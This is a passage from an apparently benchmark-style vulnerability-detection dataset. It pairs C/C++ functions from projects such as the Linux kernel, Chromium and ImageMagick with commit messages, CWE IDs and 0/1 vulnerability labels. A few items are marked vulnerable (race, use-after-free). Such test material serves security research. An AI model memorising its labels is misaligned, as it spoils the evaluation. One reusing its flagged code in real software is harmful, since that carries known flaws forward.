struct page *page = pipe->tmp_page;
int copied;
if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
/* Always wake up, even if the copy fails. Otherwise
* we lock up (O_NONBLOCK-)readers that sleep due to
* syscall merging.
* FIXME! Is this really true?
*/
do_wakeup = 1;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
/* Insert it into the buffer array */
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = copied;
buf->flags = 0;
if (is_packetized(filp)) {
buf->ops = &packet_pipe_buf_ops;
buf->flags = PIPE_BUF_FLAG_PACKET;
}
pipe->nrbufs = ++bufs;
pipe->tmp_page = NULL;
if (!iov_iter_count(from))
break;
}
if (bufs < pipe->buffers)
continue;
if (filp->f_flags & O_NONBLOCK) {
if (!ret)
ret = -EAGAIN;
break;
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}
if (do_wakeup) {
wake_up_interruptible_sync_poll(&pipe->wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
do_wakeup = 0;
}
pipe->waiting_writers++;
pipe_wait(pipe);
pipe->waiting_writers--;
}
out:
__pipe_unlock(pipe);
if (do_wakeup) {
wake_up_interruptible_sync_poll(&pipe->wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
}
if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {
int err = file_update_time(filp);
if (err)
ret = err;
sb_end_write(file_inode(filp)->i_sb);
}
return ret;
}
Commit Message: Merge branch 'page-refs' (page ref overflow)
Merge page ref overflow branch.
Jann Horn reported that he can overflow the page ref count with
sufficient memory (and a filesystem that is intentionally extremely
slow).
Admittedly it's not exactly easy. To have more than four billion
references to a page requires a minimum of 32GB of kernel memory just
for the pointers to the pages, much less any metadata to keep track of
those pointers. Jann needed a total of 140GB of memory and a specially
crafted filesystem that leaves all reads pending (in order to not ever
free the page references and just keep adding more).
Still, we have a fairly straightforward way to limit the two obvious
user-controllable sources of page references: direct-IO like page
references gotten through get_user_pages(), and the splice pipe page
duplication. So let's just do that.
* branch page-refs:
fs: prevent page refcount overflow in pipe_buf_get
mm: prevent get_user_pages() from overflowing page refcount
mm: add 'try_get_page()' helper function
mm: make page ref count overflow check tighter and more explicit
CWE ID: CWE-416
| 0
| 96,867
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ACodec::LoadedState::onSetInputSurface(
const sp<AMessage> &msg) {
ALOGV("onSetInputSurface");
sp<AMessage> notify = mCodec->mNotify->dup();
notify->setInt32("what", CodecBase::kWhatInputSurfaceAccepted);
sp<RefBase> obj;
CHECK(msg->findObject("input-surface", &obj));
sp<PersistentSurface> surface = static_cast<PersistentSurface *>(obj.get());
status_t err = mCodec->mOMX->setInputSurface(
mCodec->mNode, kPortIndexInput, surface->getBufferConsumer(),
&mCodec->mInputMetadataType);
if (err == OK) {
err = setupInputSurface();
}
if (err != OK) {
ALOGE("[%s] onSetInputSurface returning error %d",
mCodec->mComponentName.c_str(), err);
notify->setInt32("err", err);
}
notify->post();
}
Commit Message: Fix initialization of AAC presentation struct
Otherwise the new size checks trip on this.
Bug: 27207275
Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766
CWE ID: CWE-119
| 0
| 164,112
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void __exit pppoe_exit(void)
{
unregister_netdevice_notifier(&pppoe_notifier);
dev_remove_pack(&pppoed_ptype);
dev_remove_pack(&pppoes_ptype);
unregister_pppox_proto(PX_PROTO_OE);
proto_unregister(&pppoe_sk_proto);
unregister_pernet_device(&pppoe_net_ops);
}
Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <davem@davemloft.net>
Suggested-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20
| 0
| 40,280
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static IW_INLINE iw_tmpsample linear_to_gamma_sample(iw_tmpsample v_linear, double gamma)
{
return pow(v_linear,1.0/gamma);
}
Commit Message: Fixed a bug that could cause invalid memory to be accessed
The bug could happen when transparency is removed from an image.
Also fixed a semi-related BMP error handling logic bug.
Fixes issue #21
CWE ID: CWE-787
| 0
| 64,939
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void ReduceImageColors(const Image *image,CubeInfo *cube_info)
{
#define ReduceImageTag "Reduce/Image"
MagickBooleanType
proceed;
MagickOffsetType
offset;
size_t
span;
cube_info->next_threshold=0.0;
if (cube_info->colors > cube_info->maximum_colors)
{
MagickRealType
*quantize_error;
/*
Enable rapid reduction of the number of unique colors.
*/
quantize_error=(MagickRealType *) AcquireQuantumMemory(cube_info->nodes,
sizeof(*quantize_error));
if (quantize_error != (MagickRealType *) NULL)
{
(void) QuantizeErrorFlatten(cube_info,cube_info->root,0,
quantize_error);
qsort(quantize_error,cube_info->nodes,sizeof(MagickRealType),
MagickRealTypeCompare);
if (cube_info->nodes > (110*(cube_info->maximum_colors+1)/100))
cube_info->next_threshold=quantize_error[cube_info->nodes-110*
(cube_info->maximum_colors+1)/100];
quantize_error=(MagickRealType *) RelinquishMagickMemory(
quantize_error);
}
}
for (span=cube_info->colors; cube_info->colors > cube_info->maximum_colors; )
{
cube_info->pruning_threshold=cube_info->next_threshold;
cube_info->next_threshold=cube_info->root->quantize_error-1;
cube_info->colors=0;
Reduce(cube_info,cube_info->root);
offset=(MagickOffsetType) span-cube_info->colors;
proceed=SetImageProgress(image,ReduceImageTag,offset,span-
cube_info->maximum_colors+1);
if (proceed == MagickFalse)
break;
}
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/574
CWE ID: CWE-772
| 0
| 62,725
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlParse3986DecOctet(const char **str) {
const char *cur = *str;
if (!(ISA_DIGIT(cur)))
return(1);
if (!ISA_DIGIT(cur+1))
cur++;
else if ((*cur != '0') && (ISA_DIGIT(cur + 1)) && (!ISA_DIGIT(cur+2)))
cur += 2;
else if ((*cur == '1') && (ISA_DIGIT(cur + 1)) && (ISA_DIGIT(cur + 2)))
cur += 3;
else if ((*cur == '2') && (*(cur + 1) >= '0') &&
(*(cur + 1) <= '4') && (ISA_DIGIT(cur + 2)))
cur += 3;
else if ((*cur == '2') && (*(cur + 1) == '5') &&
(*(cur + 2) >= '0') && (*(cur + 1) <= '5'))
cur += 3;
else
return(1);
*str = cur;
return(0);
}
Commit Message: DO NOT MERGE: Use correct limit for port values
no upstream report yet, add it here when we have it
issue found & patch by nmehta@
Bug: 36555370
Change-Id: Ibf1efea554b95f514e23e939363d608021de4614
(cherry picked from commit b62884fb49fe92081e414966d9b5fe58250ae53c)
CWE ID: CWE-119
| 0
| 163,344
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ExtensionsGuestViewMessageFilter::ExtensionsGuestViewMessageFilter(
int render_process_id,
BrowserContext* context)
: GuestViewMessageFilter(kFilteredMessageClasses,
base::size(kFilteredMessageClasses),
render_process_id,
context),
content::BrowserAssociatedInterface<mojom::GuestView>(this, this) {
GetProcessIdToFilterMap()->insert_or_assign(render_process_id_, this);
}
Commit Message: [GuestView] - Introduce MimeHandlerViewAttachHelper
This CL is for the most part a mechanical change which extracts almost
all the frame-based MimeHandlerView code out of
ExtensionsGuestViewMessageFilter. This change both removes the current
clutter form EGVMF as well as fixesa race introduced when the
frame-based logic was added to EGVMF. The reason for the race was that
EGVMF is destroyed on IO thread but all the access to it (for
frame-based MHV) are from UI.
TBR=avi@chromium.org,lazyboy@chromium.org
Bug: 659750, 896679, 911161, 918861
Change-Id: I6474b870e4d56daa68be03637bb633665d9f9dda
Reviewed-on: https://chromium-review.googlesource.com/c/1401451
Commit-Queue: Ehsan Karamad <ekaramad@chromium.org>
Reviewed-by: James MacLean <wjmaclean@chromium.org>
Reviewed-by: Ehsan Karamad <ekaramad@chromium.org>
Cr-Commit-Position: refs/heads/master@{#621155}
CWE ID: CWE-362
| 1
| 173,039
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: fm_mgr_get_error_str
(
IN fm_mgr_config_errno_t err
)
{
switch(err){
case FM_CONF_ERR_LEN:
return "Response data legth invalid";
case FM_CONF_ERR_VERSION:
return "Client/Server version mismatch";
case FM_CONF_ERR_DISC:
return "Not connected";
case FM_CONF_TEST:
return "Test message";
case FM_CONF_OK:
return "Ok";
case FM_CONF_ERROR:
return "General error";
case FM_CONF_NO_RESOURCES:
return "Out of resources";
case FM_CONF_NO_MEM:
return "No memory";
case FM_CONF_PATH_ERR:
return "Invalid path";
case FM_CONF_BAD:
return "Bad argument";
case FM_CONF_BIND_ERR:
return "Could not bind socket";
case FM_CONF_SOCK_ERR:
return "Could not create socket";
case FM_CONF_CHMOD_ERR:
return "Invalid permissions on socket";
case FM_CONF_CONX_ERR:
return "Connection Error";
case FM_CONF_SEND_ERR:
return "Send error";
case FM_CONF_INIT_ERR:
return "Could not initalize resource";
case FM_CONF_NO_RESP:
return "No Response";
case FM_CONF_MAX_ERROR_NUM:
default:
return "Unknown error";
}
return "Unknown error";
}
Commit Message: Fix scripts and code that use well-known tmp files.
CWE ID: CWE-362
| 0
| 96,244
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int do_cpu_nanosleep(const clockid_t which_clock, int flags,
struct timespec *rqtp, struct itimerspec *it)
{
struct k_itimer timer;
int error;
/*
* Set up a temporary timer and then wait for it to go off.
*/
memset(&timer, 0, sizeof timer);
spin_lock_init(&timer.it_lock);
timer.it_clock = which_clock;
timer.it_overrun = -1;
error = posix_cpu_timer_create(&timer);
timer.it_process = current;
if (!error) {
static struct itimerspec zero_it;
memset(it, 0, sizeof *it);
it->it_value = *rqtp;
spin_lock_irq(&timer.it_lock);
error = posix_cpu_timer_set(&timer, flags, it, NULL);
if (error) {
spin_unlock_irq(&timer.it_lock);
return error;
}
while (!signal_pending(current)) {
if (timer.it.cpu.expires.sched == 0) {
/*
* Our timer fired and was reset.
*/
spin_unlock_irq(&timer.it_lock);
return 0;
}
/*
* Block until cpu_timer_fire (or a signal) wakes us.
*/
__set_current_state(TASK_INTERRUPTIBLE);
spin_unlock_irq(&timer.it_lock);
schedule();
spin_lock_irq(&timer.it_lock);
}
/*
* We were interrupted by a signal.
*/
sample_to_timespec(which_clock, timer.it.cpu.expires, rqtp);
posix_cpu_timer_set(&timer, 0, &zero_it, it);
spin_unlock_irq(&timer.it_lock);
if ((it->it_value.tv_sec | it->it_value.tv_nsec) == 0) {
/*
* It actually did fire already.
*/
return 0;
}
error = -ERESTART_RESTARTBLOCK;
}
return error;
}
Commit Message: remove div_long_long_rem
x86 is the only arch right now, which provides an optimized for
div_long_long_rem and it has the downside that one has to be very careful that
the divide doesn't overflow.
The API is a little akward, as the arguments for the unsigned divide are
signed. The signed version also doesn't handle a negative divisor and
produces worse code on 64bit archs.
There is little incentive to keep this API alive, so this converts the few
users to the new API.
Signed-off-by: Roman Zippel <zippel@linux-m68k.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: john stultz <johnstul@us.ibm.com>
Cc: Christoph Lameter <clameter@sgi.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-189
| 0
| 24,677
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: getCPS(struct rx_call *call, afs_int32 aid, prlist *alist, afs_int32 *over,
afs_int32 *cid)
{
afs_int32 code;
struct ubik_trans *tt;
afs_int32 temp;
struct prentry tentry;
*over = 0;
alist->prlist_len = 0;
alist->prlist_val = NULL;
code = Initdb();
if (code != PRSUCCESS)
return code;
code = ubik_BeginTransReadAny(dbase, UBIK_READTRANS, &tt);
if (code)
return code;
code = ubik_SetLock(tt, 1, 1, LOCKREAD);
if (code)
ABORT_WITH(tt, code);
code = read_DbHeader(tt);
if (code)
ABORT_WITH(tt, code);
temp = FindByID(tt, aid);
if (!temp)
ABORT_WITH(tt, PRNOENT);
code = pr_ReadEntry(tt, 0, temp, &tentry);
if (code)
ABORT_WITH(tt, code);
/* afs does authenticate now */
code = WhoIsThis(call, tt, cid);
if (code || !AccessOK(tt, *cid, &tentry, PRP_MEMBER_MEM, PRP_MEMBER_ANY))
ABORT_WITH(tt, PRPERM);
code = GetList(tt, &tentry, alist, 1);
if (code != PRSUCCESS)
ABORT_WITH(tt, code);
code = ubik_EndTrans(tt);
return code;
}
Commit Message:
CWE ID: CWE-284
| 0
| 12,535
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int64 GetReceivedListPrefValue(size_t index) {
return ListPrefInt64Value(*received_update_, index);
}
Commit Message: Added daily UMA for non-data-reduction-proxy data usage when the proxy is enabled.
BUG=325325
Review URL: https://codereview.chromium.org/106113002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@239897 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-416
| 1
| 171,324
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int llc_ui_create(struct net *net, struct socket *sock, int protocol,
int kern)
{
struct sock *sk;
int rc = -ESOCKTNOSUPPORT;
if (!ns_capable(net->user_ns, CAP_NET_RAW))
return -EPERM;
if (!net_eq(net, &init_net))
return -EAFNOSUPPORT;
if (likely(sock->type == SOCK_DGRAM || sock->type == SOCK_STREAM)) {
rc = -ENOMEM;
sk = llc_sk_alloc(net, PF_LLC, GFP_KERNEL, &llc_proto, kern);
if (sk) {
rc = 0;
llc_ui_sk_init(sock, sk);
}
}
return rc;
}
Commit Message: net: fix infoleak in llc
The stack object “info” has a total size of 12 bytes. Its last byte
is padding which is not initialized and leaked via “put_cmsg”.
Signed-off-by: Kangjie Lu <kjlu@gatech.edu>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 53,180
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gfx::RenderText* Textfield::GetRenderTextForSelectionController() {
return GetRenderText();
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <mblsha@yandex-team.ru>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID:
| 0
| 126,338
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gfx::NativeWindow WebUILoginView::GetNativeWindow() const {
return GetWidget()->GetNativeWindow();
}
Commit Message: [cros] Allow media streaming for OOBE WebUI.
BUG=122764
TEST=Manual with --enable-html5-camera
Review URL: https://chromiumcodereview.appspot.com/10693027
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@144899 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 103,454
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: IntPoint AffineTransform::mapPoint(const IntPoint& point) const
{
double x2, y2;
map(point.x(), point.y(), x2, y2);
return IntPoint(lround(x2), lround(y2));
}
Commit Message: Avoid using forced layout to trigger paint invalidation for SVG containers
Currently, SVG containers in the LayoutObject hierarchy force layout of
their children if the transform changes. The main reason for this is to
trigger paint invalidation of the subtree. In some cases - changes to the
scale factor - there are other reasons to trigger layout, like computing
a new scale factor for <text> or re-layout nodes with non-scaling stroke.
Compute a "scale-factor change" in addition to the "transform change"
already computed, then use this new signal to determine if layout should
be forced for the subtree. Trigger paint invalidation using the
LayoutObject flags instead.
The downside to this is that paint invalidation will walk into "hidden"
containers which rarely require repaint (since they are not technically
visible). This will hopefully be rectified in a follow-up CL.
For the testcase from 603850, this essentially eliminates the cost of
layout (from ~350ms to ~0ms on authors machine; layout cost is related
to text metrics recalculation), bumping frame rate significantly.
BUG=603956,603850
Review-Url: https://codereview.chromium.org/1996543002
Cr-Commit-Position: refs/heads/master@{#400950}
CWE ID:
| 0
| 121,188
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void cm_send_handler(struct ib_mad_agent *mad_agent,
struct ib_mad_send_wc *mad_send_wc)
{
struct ib_mad_send_buf *msg = mad_send_wc->send_buf;
struct cm_port *port;
u16 attr_index;
port = mad_agent->context;
attr_index = be16_to_cpu(((struct ib_mad_hdr *)
msg->mad)->attr_id) - CM_ATTR_ID_OFFSET;
/*
* If the send was in response to a received message (context[0] is not
* set to a cm_id), and is not a REJ, then it is a send that was
* manually retried.
*/
if (!msg->context[0] && (attr_index != CM_REJ_COUNTER))
msg->retries = 1;
atomic_long_add(1 + msg->retries,
&port->counter_group[CM_XMIT].counter[attr_index]);
if (msg->retries)
atomic_long_add(msg->retries,
&port->counter_group[CM_XMIT_RETRIES].
counter[attr_index]);
switch (mad_send_wc->status) {
case IB_WC_SUCCESS:
case IB_WC_WR_FLUSH_ERR:
cm_free_msg(msg);
break;
default:
if (msg->context[0] && msg->context[1])
cm_process_send_error(msg, mad_send_wc->status);
else
cm_free_msg(msg);
break;
}
}
Commit Message: IB/core: Don't resolve passive side RoCE L2 address in CMA REQ handler
The code that resolves the passive side source MAC within the rdma_cm
connection request handler was both redundant and buggy, so remove it.
It was redundant since later, when an RC QP is modified to RTR state,
the resolution will take place in the ib_core module. It was buggy
because this callback also deals with UD SIDR exchange, for which we
incorrectly looked at the REQ member of the CM event and dereferenced
a random value.
Fixes: dd5f03beb4f7 ("IB/core: Ethernet L2 attributes in verbs/cm structures")
Signed-off-by: Moni Shoua <monis@mellanox.com>
Signed-off-by: Or Gerlitz <ogerlitz@mellanox.com>
Signed-off-by: Roland Dreier <roland@purestorage.com>
CWE ID: CWE-20
| 0
| 38,421
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool TextureManager::TextureInfo::CanRender(
const FeatureInfo* feature_info) const {
if (target_ == 0) {
return false;
}
bool needs_mips = NeedsMips();
if ((npot() && !feature_info->feature_flags().npot_ok) ||
(target_ == GL_TEXTURE_RECTANGLE_ARB)) {
return !needs_mips &&
wrap_s_ == GL_CLAMP_TO_EDGE &&
wrap_t_ == GL_CLAMP_TO_EDGE;
}
if (needs_mips) {
if (target_ == GL_TEXTURE_2D) {
return texture_complete();
} else {
return texture_complete() && cube_complete();
}
} else {
return true;
}
}
Commit Message: Fix SafeAdd and SafeMultiply
BUG=145648,145544
Review URL: https://chromiumcodereview.appspot.com/10916165
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@155478 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 103,710
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameHostImpl::AdoptPortal(
const base::UnguessableToken& portal_token,
AdoptPortalCallback callback) {
Portal* portal = Portal::FromToken(portal_token);
if (!portal) {
mojo::ReportBadMessage("Unknown portal_token when adopting portal.");
return;
}
if (portal->owner_render_frame_host() != this) {
mojo::ReportBadMessage("AdoptPortal called from wrong frame.");
return;
}
RenderFrameProxyHost* proxy_host = portal->CreateProxyAndAttachPortal();
std::move(callback).Run(proxy_host->GetRoutingID());
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416
| 0
| 139,193
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void atl2_init_flash_opcode(struct atl2_hw *hw)
{
if (hw->flash_vendor >= ARRAY_SIZE(flash_table))
hw->flash_vendor = 0; /* ATMEL */
/* Init OP table */
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_PROGRAM,
flash_table[hw->flash_vendor].cmdPROGRAM);
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_SC_ERASE,
flash_table[hw->flash_vendor].cmdSECTOR_ERASE);
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_CHIP_ERASE,
flash_table[hw->flash_vendor].cmdCHIP_ERASE);
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_RDID,
flash_table[hw->flash_vendor].cmdRDID);
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_WREN,
flash_table[hw->flash_vendor].cmdWREN);
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_RDSR,
flash_table[hw->flash_vendor].cmdRDSR);
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_WRSR,
flash_table[hw->flash_vendor].cmdWRSR);
ATL2_WRITE_REGB(hw, REG_SPI_FLASH_OP_READ,
flash_table[hw->flash_vendor].cmdREAD);
}
Commit Message: atl2: Disable unimplemented scatter/gather feature
atl2 includes NETIF_F_SG in hw_features even though it has no support
for non-linear skbs. This bug was originally harmless since the
driver does not claim to implement checksum offload and that used to
be a requirement for SG.
Now that SG and checksum offload are independent features, if you
explicitly enable SG *and* use one of the rare protocols that can use
SG without checkusm offload, this potentially leaks sensitive
information (before you notice that it just isn't working). Therefore
this obscure bug has been designated CVE-2016-2117.
Reported-by: Justin Yackoski <jyackoski@crypto-nite.com>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Fixes: ec5f06156423 ("net: Kill link between CSUM and SG features.")
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 55,307
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameImpl::OnBlinkFeatureUsageReport(const std::set<int>& features) {
frame_->BlinkFeatureUsageReport(features);
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416
| 0
| 139,742
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int srp_done(Sg_fd *sfp, Sg_request *srp)
{
unsigned long flags;
int ret;
read_lock_irqsave(&sfp->rq_list_lock, flags);
ret = srp->done;
read_unlock_irqrestore(&sfp->rq_list_lock, flags);
return ret;
}
Commit Message: sg_start_req(): make sure that there's not too many elements in iovec
unfortunately, allowing an arbitrary 16bit value means a possibility of
overflow in the calculation of total number of pages in bio_map_user_iov() -
we rely on there being no more than PAGE_SIZE members of sum in the
first loop there. If that sum wraps around, we end up allocating
too small array of pointers to pages and it's easy to overflow it in
the second loop.
X-Coverup: TINC (and there's no lumber cartel either)
Cc: stable@vger.kernel.org # way, way back
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-189
| 0
| 42,310
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: inline bool SearchBuffer::atBreak() const
{
return !m_cursor && !m_isBufferFull;
}
Commit Message: Upgrade a TextIterator ASSERT to a RELEASE_ASSERT as a defensive measure.
BUG=156930,177197
R=inferno@chromium.org
Review URL: https://codereview.chromium.org/15057010
git-svn-id: svn://svn.chromium.org/blink/trunk@150123 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 113,295
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int tcp_v4_md5_hash_hdr(char *md5_hash, struct tcp_md5sig_key *key,
__be32 daddr, __be32 saddr, struct tcphdr *th)
{
struct tcp_md5sig_pool *hp;
struct hash_desc *desc;
hp = tcp_get_md5sig_pool();
if (!hp)
goto clear_hash_noput;
desc = &hp->md5_desc;
if (crypto_hash_init(desc))
goto clear_hash;
if (tcp_v4_md5_hash_pseudoheader(hp, daddr, saddr, th->doff << 2))
goto clear_hash;
if (tcp_md5_hash_header(hp, th))
goto clear_hash;
if (tcp_md5_hash_key(hp, key))
goto clear_hash;
if (crypto_hash_final(desc, md5_hash))
goto clear_hash;
tcp_put_md5sig_pool();
return 0;
clear_hash:
tcp_put_md5sig_pool();
clear_hash_noput:
memset(md5_hash, 0, 16);
return 1;
}
Commit Message: inet: add RCU protection to inet->opt
We lack proper synchronization to manipulate inet->opt ip_options
Problem is ip_make_skb() calls ip_setup_cork() and
ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),
without any protection against another thread manipulating inet->opt.
Another thread can change inet->opt pointer and free old one under us.
Use RCU to protect inet->opt (changed to inet->inet_opt).
Instead of handling atomic refcounts, just copy ip_options when
necessary, to avoid cache line dirtying.
We cant insert an rcu_head in struct ip_options since its included in
skb->cb[], so this patch is large because I had to introduce a new
ip_options_rcu structure.
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362
| 0
| 19,035
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static av_cold int g2m_decode_init(AVCodecContext *avctx)
{
G2MContext * const c = avctx->priv_data;
int ret;
if ((ret = jpg_init(avctx, &c->jc)) != 0) {
av_log(avctx, AV_LOG_ERROR, "Cannot initialise VLCs\n");
jpg_free_context(&c->jc);
return AVERROR(ENOMEM);
}
avctx->pix_fmt = AV_PIX_FMT_RGB24;
return 0;
}
Commit Message: avcodec/g2meet: Fix framebuf size
Currently the code can in some cases draw tiles that hang outside the
allocated buffer. This patch increases the buffer size to avoid out
of array accesses. An alternative would be to fail if such tiles are
encountered.
I do not know if any valid files use such hanging tiles.
Fixes Ticket2971
Found-by: ami_stuff
Signed-off-by: Michael Niedermayer <michaelni@gmx.at>
CWE ID: CWE-119
| 0
| 28,031
|
